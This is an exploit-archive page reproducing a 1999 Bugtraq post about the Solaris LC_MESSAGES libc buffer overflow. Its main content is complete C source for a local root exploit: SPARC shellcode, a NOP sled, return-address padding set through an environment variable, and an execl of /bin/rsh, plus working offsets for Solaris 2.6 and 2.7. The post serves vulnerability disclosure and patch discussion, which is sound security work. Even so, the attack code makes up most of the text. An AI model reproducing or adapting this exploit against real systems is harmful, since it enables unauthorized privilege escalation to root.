exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

solaris_LCmessages.txt

solaris_LCmessages.txt
Posted Sep 22, 1999

Exploit code to utilize the LC_MESSAGES bug in Solaris 2.7 to gain root

tags | exploit, root
systems | solaris
SHA-256 | 352bd30ef796c4958de02ffaeadbeca014feb7c7ede41dae12e38b987443a906

solaris_LCmessages.txt

Change Mirror Download
Subject:      Question on Solaris LC_MESSAGES libc exploit
To: BUGTRAQ@SECURITYFOCUS.COM


Hello,


A previous message stated that the LC_MESSAGES bug in Solaris has
been fixed in 7. However, I am still able to gain root with the below code
on Sparc Solaris 7 5/99 Release boxes with MU2 and 7_Recommended patch set
installed (offset 7152 gets root for me). Has there been a patch released
for Solaris 7 that addresses this? Thanks for any help.


Viraj.


---------- Forwarded message ----------
Date: Sun, 23 May 1999 14:25:26 +0100
From: acpizer <acpizer@MACH.UNSEEN.ORG>
To: BUGTRAQ@netspace.org
Subject: Re: Solaris libc exploit


Hi guys,


Below is a slightly modified exploit which will allow the user to specify
the offset, the author has not provided offsets for 2.7/SPARC so here
they are, any one of these can be used: 7144, 7152, 7160, 7168...


Cheers.



-- snip --
/*============================================================
ex_lobc.c Overflow Exploits( for Sparc Edition)
The Shadow Penguin Security
(http://base.oc.to:/skyscraper/byte/551)
Written by UNYUN (unewn4th@usa.net)



offsets for 2.7/SPARC: 7144, 7152, 7160, 7168, and more...
offset for 2.6/SPARC: 5392


============================================================
*/
#define EV "LC_MESSAGES="
#define ADJUST 0
#define STARTADR 400
#define NOP 0xa61cc013
#define RETS 600


char x[80000];


char exploit_code[] =
"\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e"
"\x2b\x0b\xda\xdc\xae\x15\x63\x68"
"\x90\x0b\x80\x0e\x92\x03\xa0\x0c"
"\x94\x10\x20\x10\x94\x22\xa0\x10"
"\x9c\x03\xa0\x14"
"\xec\x3b\xbf\xec\xc0\x23\xbf\xf4\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc"
"\x82\x10\x20\x3b\x91\xd0\x20\x08\x90\x1b\xc0\x0f\x82\x10\x20\x01"
"\x91\xd0\x20\x08"
;


unsigned long get_sp(void)
{
__asm__("mov %sp,%i0 \n");
}


int i;
unsigned int ret_adr;


main(int argc, char *argv[])
{
int OFFSET;


putenv("LANG=");
memset(x,'x',70000);



if (argc == 2)
OFFSET = atoi(argv[1]);
else
OFFSET = 5392; // default offset for 2.6


for (i = 0; i < ADJUST; i++) x[i]=0x40;
for (i = ADJUST; i < 1000; i+=4){
x[i+3]=NOP & 0xff;
x[i+2]=(NOP >> 8 ) &0xff;
x[i+1]=(NOP >> 16 ) &0xff;
x[i+0]=(NOP >> 24 ) &0xff;
}
for (i=0;i<strlen(exploit_code);i++) \
x[STARTADR+i+ADJUST]=exploit_code[i];
ret_adr=get_sp()-OFFSET;
printf("jumping address : %lx, offset = %d\n",ret_adr, OFFSET);
if ((ret_adr & 0xff) ==0 ){
ret_adr -=16;
printf("New jumping address : %lx\n",ret_adr);
}
for (i = ADJUST+RETS; i < RETS+600; i+=4){
x[i+3]=ret_adr & 0xff;
x[i+2]=(ret_adr >> 8 ) &0xff;
x[i+1]=(ret_adr >> 16 ) &0xff;
x[i+0]=(ret_adr >> 24 ) &0xff;
}
memcpy(x,EV,strlen(EV));
x[3000]=0;
putenv(x);
execl("/bin/rsh","su",(char *)0);
}
-- snip --


-------------------------------------------------------------------------------
"Probably you've only really grown up, when you can bear not being understood."


Marian Gold /Alphaville
Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    8 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    11 Files
  • 23
    Apr 23rd
    68 Files
  • 24
    Apr 24th
    23 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close